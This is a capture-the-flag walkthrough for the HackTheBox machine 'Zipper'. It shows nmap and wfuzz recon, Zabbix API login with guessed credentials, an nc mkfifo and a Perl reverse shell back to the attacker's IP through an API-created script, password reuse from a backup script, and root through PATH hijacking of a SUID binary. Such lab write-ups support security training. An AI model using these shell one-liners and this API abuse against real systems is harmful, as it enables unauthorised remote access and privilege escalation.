Zipper

#Linux #Enumeration #Web-Fuzzing #API #PathHijacking

Zipper is a hard-rated Linux machine from HackTheBox created by burmat. In the current post, my IP is 10.10.14.16, and the target’s IP is 10.10.10.108.

Zipper is a machine of hard complexity that demonstrates the significance of privileged API access and its potential exploitation to achieve Remote Code Execution (RCE). In this case we are working exclusively with Zabbix API. After exploiting the RCE, for privileges escalation the vulnerability used is PathHijacking.

Recon

Local Terminal
ping -c 1 10.10.10.108
 
PING 10.10.10.108 (10.10.10.108) 56(84) bytes of data.
64 bytes from 10.10.10.108: icmp_seq=1 ttl=62 time=176 ms

--- 10.10.10.108 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 175.677/175.677/175.677/0.000 ms
Local Terminal
nmap -p- --open -sS --min-rate 5000 -n -vvv 10.10.10.108 -oG AllPorts
Nmap scan report for 10.10.10.108
Host is up, received echo-reply ttl 62 (0.17s latency).
Scanned at 2023-07-18 12:31:25 -04 for 19s
Not shown: 65530 closed ports, 2 filtered ports
Reason: 65530 resets and 2 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      REASON
22/tcp    open  ssh          syn-ack ttl 62
80/tcp    open  http         syn-ack ttl 61
10050/tcp open  zabbix-agent syn-ack ttl 62

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 19.71 seconds
           Raw packets sent: 94425 (4.155MB) | Rcvd: 79589 (3.184MB)
Local Terminal
nmap -sCV -p 22,80,10050 10.10.10.108 -oN Target
Nmap scan report for 10.10.10.108
Host is up (0.16s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
|   256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
|_  256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
80/tcp    open  http       Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
10050/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.73 seconds

If you are curious, you can search for "OpenSSH 7.6p1 Ubuntu 4 launchpad" to see which specific linux sub-system is using, in this case is "Debian Sid"

Port 80 is open with a website, let's see what is inside.

Local Terminal
whatweb http://10.10.10.108

http://10.10.10.108 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], 
HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.108], 
Title[Apache2 Ubuntu Default Page: It works]

From whatweb we got nothing, it's a default page, this is a clear clue to fuzz the target.

Local Terminal
wfuzz -c -t 20 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.108/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.108/FUZZ
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000025159:   301        9 L      28 W       313 Ch      "zabbix"
000095510:   403        11 L     32 W       300 Ch      "server-status"
  • http://10.10.10.108/zabbix

Sign in as a guest, then explore the whole panel, at the Report > Availability Report you will find a file called "Zapper's Backup Script", we can assume that there is an user called "Zapper". we should try with the default password "zabbix" or "zapper"

Uh... the GUI access is disables, with the credentials confirmed now a good option is to search for other ways to login to "Zabbix"

There is a documentation about an API, so now we are going to use that way to login.

Local Terminal
curl http://10.10.10.108/zabbix/api_jsonrpc.php -H "Content-Type: application/json-rpc" -d '{"jsonrpc":"2.0", "method":"user.login", "id":1, "auth":null, "params":{"user": "zapper", "password": "zapper","userData": true}}' | jq
{
  "jsonrpc": "2.0",
  "result": {
    "userid": "3",
    "alias": "zapper",
    "name": "zapper",
    "surname": "",
    "url": "",
    "autologin": "0",
    "autologout": "0",
    "lang": "en_GB",
    "refresh": "30",
    "type": "3",
    "theme": "default",
    "attempt_failed": "0",
    "attempt_ip": "",
    "attempt_clock": "0",
    "rows_per_page": "50",
    "debug_mode": false,
    "userip": "10.10.14.16",
    "sessionid": "1d2451cc4d9a9b925dab81e2adc87c40", # AUTH hash!! yay
    "gui_access": "2"
  },
  "id": 1
}

Reverse Shell [Zabbix]

The response it's some kind of hash and a lot of information about the user... now that we are logged in, we can use the other API's feature... like scripts

First let's explore with script.get (Remember to replace the default "auth" with the hash retrieved from the previous command).

Local Terminal
curl http://10.10.10.108/zabbix/api_jsonrpc.php -H "Content-Type: application/json-rpc" -d '{"jsonrpc": "2.0","method": "script.get","params": {"output": "extend"},"auth": "d6fd4e7a63aba69067b5c79a7498fb56","id": 1}' | jq
{
  "jsonrpc": "2.0",
  "result": [
    {
      "scriptid": "1",
      "name": "Ping",
      "command": "/bin/ping -c 3 {HOST.CONN} 2>&1",
      "host_access": "2",
      "usrgrpid": "0",
      "groupid": "0",
      "description": "",
      "confirmation": "",
      "type": "0",
      "execute_on": "1"
    },
    {
      "scriptid": "2",
      "name": "Traceroute",
      "command": "/usr/bin/traceroute {HOST.CONN} 2>&1",
      "host_access": "2",
      "usrgrpid": "0",
      "groupid": "0",
      "description": "",
      "confirmation": "",
      "type": "0",
      "execute_on": "1"
    },
    {
      "scriptid": "3",
      "name": "Detect operating system",
      "command": "sudo /usr/bin/nmap -O {HOST.CONN} 2>&1",
      "host_access": "2",
      "usrgrpid": "7",
      "groupid": "0",
      "description": "",
      "confirmation": "",
      "type": "0",
      "execute_on": "1"
    }
  ],
  "id": 1
}

What if we can create a command to execute a reverse shell?

Info: The current target does not have curl :(

TIP: The host ID can be obtained from host.get

Local Terminal
curl http://10.10.10.108/zabbix/api_jsonrpc.php -H "Content-Type: application/json-rpc" -d '{"jsonrpc": "2.0","method": "script.create","params": {"name": "MonkeyReverse","command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 443 >/tmp/f","host_access": 2, "execute_on": 0},"auth": "d6fd4e7a63aba69067b5c79a7498fb56","id": 1}' | jq
{
  "jsonrpc": "2.0",
  "result": {
    "scriptids": [
      "6"
    ]
  },
  "id": 1
}

Looks like it received the script very well, now we need to prepare the reverse shell, by using two shells, one listening and other executing the command.

Local Terminal B
ncat -nklvp 443
Local Terminal A
curl http://10.10.10.108/zabbix/api_jsonrpc.php -H "Content-Type: application/json-rpc" -d '{"jsonrpc":"2.0","method": "script.execute","params": {"scriptid": "6","hostid": "10106"},"auth": "d6fd4e7a63aba69067b5c79a7498fb56","id": 1}' | jq
{
  "jsonrpc": "2.0",
  "error": {
    "code": -32500,
    "message": "Application error.",
    "data": "Timeout while executing a shell script."
  },
  "id": 1
}

And done! We are in... but the shell doesn't last long... we need and additional terminal and speed.

Our Local Terminal B is "Partially connected" to the target, we are going to prepare another listening port at our Local Terminal C, and prepare the command at B before activating A.

Local Terminal C
nc -nlvp 444
Terminal B
perl -e 'use Socket;$i="10.10.14.16";$p=444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Local Terminal A
curl http://10.10.10.108/zabbix/api_jsonrpc.php -H "Content-Type: application/json-rpc" -d '{"jsonrpc": "2.0","method": "script.get","params": {"output": "extend"},"auth": "d6fd4e7a63aba69067b5c79a7498fb56","id": 1}' | jq

And now our Local Terminal C is the target.

User Pivoting [Zabbix > Zapper]

Finally, we are inside the machine... now we need a way to change our user.

Target Terminal [Zabbix]
zabbix@zipper:/$ hostname -i
127.0.1.1
Target Terminal [Zabbix]
zabbix@zipper:/$ id
uid=107(zabbix) gid=113(zabbix) groups=113(zabbix)

zabbix@zipper:/$ sudo -l #We don't have the password :(
sudo: 3 incorrect password attempts


zabbix@zipper:/$ cd /home
zabbix@zipper:/home$ ls
zapper
zabbix@zipper:/home$ cd zapper
zabbix@zipper:/home/zapper$ ls
user.txt  utils
zabbix@zipper:/home/zapper$ cat user.txt
cat: user.txt: Permission denied # :(

zabbix@zipper:/home/zapper$ cd utils
zabbix@zipper:/home/zapper/utils$ ls
backup.sh  zabbix-service
zabbix@zipper:/home/zapper/utils$ cat backup.ssh
cat: backup.ssh: No such file or directory
zabbix@zipper:/home/zapper/utils$ cat backup.sh
#!/bin/bash
#
# Quick script to backup all utilities in this folder to /backups
#
/usr/bin/7z a /backups/zapper_backup-$(/bin/date +%F).7z -pZippityDoDah /home/zapper/utils/* &>/dev/null

Well... for some reason we have reading permission at another user folder... and inside to "backup.sh" we found a password.

Target Terminal [Zabbix]
zabbix@zipper:/home/zapper/utils$ su zapper
Password: ZippityDoDah

Good... now we are Zapper and the flag is readable.

Target Terminal [Zabbix]
zapper@zipper:~/utils$ cat /home/zapper/user.txt
4e03784836caa9d4c129c4e670cc9221

Privileges Escalation [Zapper > Root]

Target Terminal [Zipper]
zapper@zipper:/$ id
uid=1000(zapper) gid=1000(zapper) groups=1000(zapper),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)
zapper@zipper:/$ sudo -l
[sudo] password for zapper: ZippityDoDah

Sorry, user zapper may not run sudo on zipper.
Target Terminal [Zipper]
zapper@zipper:/$ find \-perm -4000 2>/dev/null
./home/zapper/utils/zabbix-service #This!
./bin/ntfs-3g
./bin/umount
./bin/fusermount
./bin/ping
./bin/su
./bin/mount
./usr/bin/passwd
./usr/bin/chsh
./usr/bin/chfn
./usr/bin/sudo
./usr/bin/newgrp
./usr/bin/gpasswd
./usr/bin/traceroute6.iputils
./usr/lib/openssh/ssh-keysign
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/eject/dmcrypt-get-device
./usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
./usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper

There is some kind of custom service with high privileges.

Target Terminal [Zipper]
zapper@zipper:/$ cd ./home/zapper/utils/

zapper@zipper:~/utils$ ./zabbix-service
start or stop?: start
start

Aaaand... Nothing happen? Let's explore with strings

Target Terminal [Zipper]
zapper@zipper:~/utils$ strings zabbix-service
tdx
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setuid
puts
stdin
printf
fgets
strcspn
system
__cxa_finalize
setgid
strcmp
__libc_start_main
__stack_chk_fail
GLIBC_2.1.3
GLIBC_2.4
GLIBC_2.0
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
Y[^]
UWVS
[^_]
start or stop?:
start
systemctl daemon-reload && systemctl start zabbix-agent # Look! Systemctl without path
stop
systemctl stop zabbix-agent
[!] ERROR: Unrecognized Option
;*2$"
GCC: (Ubuntu 7.3.0-16ubuntu3) 7.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7281
__do_global_dtors_aux_fini_array_entry
<...>

Path Hijacking is our option here, let's prepare everything.

Target Terminal [Zipper]
zapper@zipper:~$ cd /tmp
zapper@zipper:/tmp$ vi systemctl
#!/bin/sh

/bin/sh
Target Terminal [Zipper]
zapper@zipper:/tmp$ chmod +x systemctl
zapper@zipper:/tmp$ PATH=/tmp:$PATH /home/zapper/utils/zabbix-service
start or stop?: start
# cat /root/root.txt
c9e65553c17fa1ae5f27044da42bb7fe

Last updated